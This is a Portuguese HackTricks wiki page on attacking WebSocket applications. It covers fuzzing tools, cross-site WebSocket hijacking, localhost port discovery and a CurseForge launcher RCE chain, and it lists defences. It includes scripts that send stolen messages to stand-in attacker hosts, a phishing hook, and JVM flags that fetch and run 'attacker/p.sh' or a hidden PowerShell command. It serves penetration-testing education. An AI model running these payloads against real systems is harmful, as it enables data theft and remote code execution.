Ataques WebSocket

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

O que são WebSockets

As conexões WebSocket são estabelecidas através de um handshake inicial HTTP e são projetadas para ser persistentes, permitindo troca de mensagens bidirecionais a qualquer momento sem a necessidade de um sistema transacional. Isso torna os WebSockets particularmente vantajosos para aplicações que exigem baixa latência ou comunicação iniciada pelo servidor, como streams de dados financeiros ao vivo.

Estabelecimento de Conexões WebSocket

A explicação detalhada sobre o estabelecimento de conexões WebSocket pode ser acessada aqui. Em resumo, as conexões WebSocket geralmente são iniciadas via JavaScript do lado do cliente como mostrado abaixo:

var ws = new WebSocket("wss://normal-website.com/ws")

O protocolo wss indica uma conexão WebSocket protegida por TLS, enquanto ws indica uma conexão não segura.

Durante o estabelecimento da conexão, um handshake é realizado entre o navegador e o servidor via HTTP. O processo de handshake envolve o navegador enviando uma requisição e o servidor respondendo, como ilustrado nos exemplos a seguir:

O navegador envia uma requisição de handshake:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Resposta de handshake do servidor:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

A conexão permanece aberta para troca de mensagens em ambas as direções após ser estabelecida.

Key Points of the WebSocket Handshake:

  • Os cabeçalhos Connection e Upgrade sinalizam o início do handshake do WebSocket.
  • O cabeçalho Sec-WebSocket-Version indica a versão do protocolo WebSocket desejada, normalmente 13.
  • Um valor aleatório codificado em Base64 é enviado no cabeçalho Sec-WebSocket-Key, garantindo que cada handshake seja único, o que ajuda a prevenir problemas com proxies de cache. Esse valor não serve para autenticação, mas para confirmar que a resposta não foi gerada por um servidor ou cache mal configurado.
  • O cabeçalho Sec-WebSocket-Accept na resposta do servidor é um hash do Sec-WebSocket-Key, verificando a intenção do servidor de abrir uma conexão WebSocket.

Esses recursos garantem que o processo de handshake seja seguro e confiável, preparando o caminho para comunicação em tempo real eficiente.

Linux console

Você pode usar websocat para estabelecer uma conexão raw com um websocket.

websocat --insecure wss://10.10.10.10:8000 -v

Ou para criar um servidor websocat:

websocat -s 0.0.0.0:8000 #Listen in port 8000

Conexões websocket MitM

Se você descobrir que clients estão conectados a um HTTP websocket da sua rede local atual, você pode tentar um ARP Spoofing Attack para realizar um ataque MitM entre o client e o server.
Quando o client estiver tentando conectar-se a você, você pode então usar:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets enumeration

Você pode usar a ferramenta https://github.com/PalindromeLabs/STEWS para descobrir, fingerprint e buscar por vulnerabilities em websockets automaticamente.

Websocket Debug tools

  • Burp Suite suporta comunicação MitM de websockets de uma forma muito similar à que usa para comunicação HTTP regular.
  • A extensão do Burp Suite socketsleuth permitirá gerenciar melhor comunicações Websocket no Burp obtendo o history, definindo interception rules, usando regras de match and replace, e utilizando Intruder e AutoRepeater.
  • WSSiP: Abreviação de “WebSocket/Socket.io Proxy”, esta ferramenta, escrita em Node.js, fornece uma interface de usuário para capture, intercept, send custom messages e visualizar todas as comunicações WebSocket e Socket.IO entre o client e o server.
  • wsrepl é um interactive websocket REPL projetado especificamente para penetration testing. Fornece uma interface para observar incoming websocket messages and sending new ones, com um framework fácil de usar para automating essa comunicação.
  • https://websocketking.com/ é uma interface web para comunicar com outros websites usando websockets.
  • https://hoppscotch.io/realtime/websocket entre outros tipos de comunicações/protocolos, fornece uma interface web para comunicar com outros websites usando websockets.

Decrypting Websocket

Websocket Lab

No Burp-Suite-Extender-Montoya-Course você encontra um código para lançar uma aplicação web usando websockets e neste post você pode encontrar uma explicação.

Websocket Fuzzing

A extensão do Burp Backslash Powered Scanner agora também permite fuzz em mensagens WebSocket. Você pode ler mais informações sobre isso here.

WebSocket Turbo Intruder (Burp extension)

O WebSocket Turbo Intruder da PortSwigger traz scripting em Python no estilo Turbo Intruder e fuzzing de alta taxa para WebSockets. Instale-o a partir da BApp Store ou do código-fonte. Inclui dois componentes:

  • Turbo Intruder: envio de alto volume para um único endpoint WS usando engines customizadas.
  • HTTP Middleware: expõe um endpoint HTTP local que encaminha bodies como mensagens WS sobre uma conexão persistente, permitindo que qualquer scanner baseado em HTTP probe backends WS.

Padrão básico de script para fuzzar um endpoint WS e filtrar respostas relevantes:

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Use decoradores como @MatchRegex(...) para reduzir ruído quando uma única mensagem aciona múltiplas respostas.

Bridge WS por trás do HTTP (HTTP Middleware)

Encapsule uma conexão WS persistente e encaminhe corpos HTTP como mensagens WS para testes automatizados com scanners HTTP:

def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection

@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Em seguida, envie HTTP localmente; o corpo é encaminhado como a mensagem WS:

POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}

Isso permite que você controle backends WS enquanto filtra por eventos “interessantes” (por exemplo, SQLi errors, auth bypass, command injection behavior).

Manipulação do Socket.IO (handshake, heartbeats, events)

Socket.IO adiciona seu próprio encapsulamento sobre o WS. Detecte-o via o parâmetro de query obrigatório EIO (por exemplo, EIO=4). Mantenha a sessão viva com Ping (2) e Pong (3) e inicie a conversa com "40", depois emita eventos como 42["message","hello"].

Exemplo do Intruder:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Variante do adaptador HTTP:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Detectando prototype pollution do lado do servidor via Socket.IO

Seguindo a técnica de detecção segura da PortSwigger, tente poluir os internos do Express enviando um payload como:

{"__proto__":{"initialPacket":"Polluted"}}

Se as saudações ou o comportamento mudarem (por exemplo, o echo incluir “Polluted”), você provavelmente poluiu protótipos no lado do servidor. O impacto depende dos sinks alcançáveis; correlacione com os gadgets na seção de prototype pollution do Node.js. Veja:

WebSocket race conditions with Turbo Intruder

O engine padrão agrupa mensagens em uma conexão (great throughput, poor for races). Use o engine THREADED para spawn múltiplas conexões WS e disparar payloads em paralelo para disparar logic races (double‑spend, token reuse, state desync). Comece pelo script de exemplo e ajuste a concorrência em config().

  • Learn methodology and alternatives in Race Condition (see “RC in WebSockets”).

WebSocket DoS: malformed frame “Ping of Death”

Construa frames WS cujo header declara um comprimento de payload enorme, mas envie nenhum body. Alguns servidores WS confiam no comprimento e pré‑alocam buffers; defini‑lo perto de Integer.MAX_VALUE pode causar Out‑Of‑Memory e um DoS remoto não autenticado. Veja o script de exemplo.

CLI and debugging

  • Headless fuzzing: java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
  • Habilite o WS Logger para capturar e correlacionar mensagens usando IDs internos.
  • Use os helpers inc*/dec* em Connection para ajustar o tratamento de IDs de mensagem em adapters complexos.
  • Decorators like @PingPong/@Pong and helpers like isInteresting() reduzem o ruído e mantêm sessões vivas.

Operational safety

Fuzzing WS em alta taxa pode abrir muitas conexões e enviar milhares de mensagens por segundo. Frames malformados e altas taxas podem causar DoS real. Use apenas onde permitido.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, também conhecido como cross-origin WebSocket hijacking, é identificado como um caso específico de Cross-Site Request Forgery (CSRF) afetando handshakes de WebSocket. Essa vulnerabilidade surge quando os handshakes de WebSocket autenticar apenas via HTTP cookies sem CSRF tokens ou medidas de segurança similares.

Atacantes podem explorar isso hospedando uma página web maliciosa que inicia uma conexão cross-site WebSocket com uma aplicação vulnerável. Consequentemente, essa conexão é tratada como parte da sessão da vítima com a aplicação, explorando a falta de proteção CSRF no mecanismo de gerenciamento de sessão.

Para que este ataque funcione, estes são os requisitos:

  • The websocket authentication must be cookie based
  • O cookie deve ser acessível pelo servidor do atacante (isso geralmente significa SameSite=None) e sem Firefox Total Cookie Protection habilitado no Firefox e sem blocked third-party cookies no Chrome.
  • O servidor websocket não deve verificar o origin da conexão (ou isso deve ser contornável)

Além disso:

  • If the authentication is based on a local connection (to localhost or to a local network) the attack will be possible as no current protection forbids it (check more info here)

Origin check disabled in Gorilla WebSocket (CheckOrigin always true)

Em servidores Gorilla WebSocket, definir CheckOrigin para sempre retornar true aceita handshakes de qualquer Origin. Quando o endpoint WS também lacks authentication, qualquer página acessível pelo navegador da vítima (Internet ou intranet) pode fazer upgrade de um socket e começar a ler/enviar mensagens cross-site.

<script>
const ws = new WebSocket("ws://victim-host:8025/api/v1/websocket");
ws.onmessage = (ev) => fetch("https://attacker.tld/steal?d=" + encodeURIComponent(ev.data), {mode: "no-cors"});
</script>

Impacto: exfiltração em tempo real de dados transmitidos (por exemplo, emails/notifications capturados) sem credenciais do usuário quando qualquer Origin é aceito e o endpoint pula a autenticação.

Ataque Simples

Observe que ao estabelecer uma websocket conexão o cookie é enviado ao server. O server pode estar usando-o para relacionar cada usuário específico com sua sessão websocket baseada no cookie enviado.

Então, se por exemplo o websocket server envia de volta o histórico da conversa de um usuário se uma msg com “READY” for enviada, então um simples XSS que estabelece a conexão (o cookie será enviado automaticamente para autorizar o usuário vítima) enviandoREADY” será capaz de recuperar o histórico da conversa.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Neste post do blog https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ o atacante conseguiu executar Javascript arbitrário em um subdomain do domínio onde a comunicação via websocket estava ocorrendo. Como era um subdomain, o cookie estava sendo enviado, e porque o Websocket não verificava o Origin corretamente, foi possível comunicar-se com ele e roubar tokens.

Roubando dados do usuário

Copie a web application que você quer impersonate (os arquivos .html, por exemplo) e, dentro do script onde a comunicação websocket está ocorrendo, adicione este code:

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Agora baixe o arquivo wsHook.js de https://github.com/skepticfx/wshook e salve-o dentro da pasta com os arquivos web.
Ao expor a aplicação web e fazer um usuário conectar-se a ela, você poderá roubar as mensagens enviadas e recebidas via websocket:

sudo python3 -m http.server 80

CSWSH Protections

O ataque CSWSH baseia-se no fato de que um usuário se conectará a uma página maliciosa que irá abrir uma conexão websocket com uma página web na qual o usuário já está conectado e se autenticará como ele, pois a requisição enviará os cookies do usuário.

Hoje em dia, é muito fácil prevenir esse problema:

  • Websocket server checking the origin: O servidor websocket deve sempre verificar de onde um usuário está se conectando para impedir que páginas inesperadas se conectem a ele.
  • Authentication token: Ao invés de basear a autenticação em um cookie, a conexão websocket pode ser baseada em um token gerado pelo servidor para o usuário e desconhecido pelo atacante (como um token anti-CSRF).
  • SameSite Cookie attribute: Cookies com o atributo SameSite definido como Lax ou Strict não serão enviados de uma página externa do atacante para o servidor da vítima; portanto, a autenticação baseada em cookies não terá sucesso. Note que o Chrome agora atribui o valor Lax aos cookies sem essa flag especificada, tornando isso mais seguro por padrão. Contudo, nos primeiros 2 minutos após a criação, um cookie terá o valor None, deixando-o vulnerável durante esse período limitado (espera-se também que essa medida seja removida em algum momento).
  • Firefox Total Cookie Protection: Total Cookie Protection funciona isolando cookies ao site em que são criados. Essencialmente, cada site tem sua própria partição de armazenamento de cookies para evitar que terceiros correlacionem o histórico de navegação do usuário. Isso torna CSWSH inutilizável já que o site do atacante não terá acesso aos cookies.
  • Chrome third-party cookies block: Isso também pode impedir o envio do cookie do usuário autenticado para o servidor websocket mesmo com SameSite=None.

Abuso de WebSocket em localhost e descoberta de portas do navegador

Lançadores de desktop frequentemente iniciam auxiliares (por exemplo, o CurseAgent.exe do CurseForge) que expõem JSON-RPC WebSockets em 127.0.0.1:<random_port>. O navegador não aplica SOP em loopback sockets, então qualquer página web pode tentar o handshake. Se o agente aceitar valores arbitrários de Origin e pular a autenticação secundária, a superfície de IPC torna-se controlável remotamente diretamente a partir de JavaScript.

Enumerating exposed methods

Capture uma sessão legítima para aprender o contrato do protocolo. O CurseForge, por exemplo, emite frames como {"type":"method","name":"minecraftTaskLaunchInstance","args":[{...}]} onde name é o método RPC e args contém objetos estruturados (GUIDs, resolução, flags, etc.). Uma vez conhecida essa estrutura, você pode invocar métodos como createModpack, minecraftGetDefaultLocation, ou qualquer outra tarefa privilegiada diretamente de uma página injetada.

Browser-based port discovery

Como o helper se liga a uma porta alta aleatória, o exploit primeiro força bruta o localhost via WebSockets. Navegadores baseados em Chromium toleram ~16k upgrades falhos antes de aplicar throttling, o que é suficiente para percorrer a faixa efêmera; o Firefox tende a travar ou congelar após algumas centenas de falhas, então PoCs práticos frequentemente miram no Chromium.

Scanner mínimo de navegador ```javascript async function findLocalWs(start = 20000, end = 36000) { for (let port = start; port <= end; port++) { await new Promise((resolve) => { const ws = new WebSocket(`ws://127.0.0.1:${port}/`); let settled = false; const finish = () => { if (!settled) { settled = true; resolve(); } }; ws.onerror = ws.onclose = finish; ws.onopen = () => { console.log(`Found candidate on ${port}`); ws.close(); finish(); }; }); } } ```

Once a connection survives the handshake and returns protocol-specific data, reuse that socket for the RPC chain.

Encadeando métodos JSON-RPC para RCE

The CurseForge exploit chains two unauthenticated calls:

  1. createModpack → retorna um novo MinecraftInstanceGuid sem interação do usuário.
  2. minecraftTaskLaunchInstance → inicia esse GUID enquanto aceita flags JVM arbitrárias via AdditionalJavaArguments.

JNI/JVM diagnostic options then provide a turnkey RCE primitive. For example, cap the metaspace to force a crash and leverage the error hook for command execution:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."

On Unix targets simplesmente substitua o payload por /bin/sh -c 'curl https://attacker/p.sh | sh'. Isso funciona mesmo quando você não pode modificar o código da aplicação — controlar o JVM CLI é suficiente.

This “create resource → privileged launch” pattern aparece com frequência em updaters e launchers. Sempre que o método (1) gera um identificador rastreado pelo servidor e o método (2) executa código ou cria um processo com esse identificador, verifique se argumentos controlados pelo usuário podem ser injetados.

Race Conditions

Condições de corrida em WebSockets também existem, verifique esta informação para saber mais.

Other vulnerabilities

Como Web Sockets são um mecanismo para enviar dados para o server side e o client side, dependendo de como o servidor e o cliente tratam a informação, Web Sockets podem ser usados para explorar várias outras vulnerabilidades como XSS, SQLi ou qualquer outra vulnerabilidade web comum usando a entrada de um usuário via websocket.

WebSocket Smuggling

Esta vulnerabilidade pode permitir que você bypasse as restrições de reverse proxies fazendo-os acreditar que uma comunicação websocket foi estabelecida (mesmo que não seja verdade). Isso pode permitir que um atacante acesse endpoints ocultos. Para mais informações, confira a página a seguir:

Upgrade Header Smuggling

References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks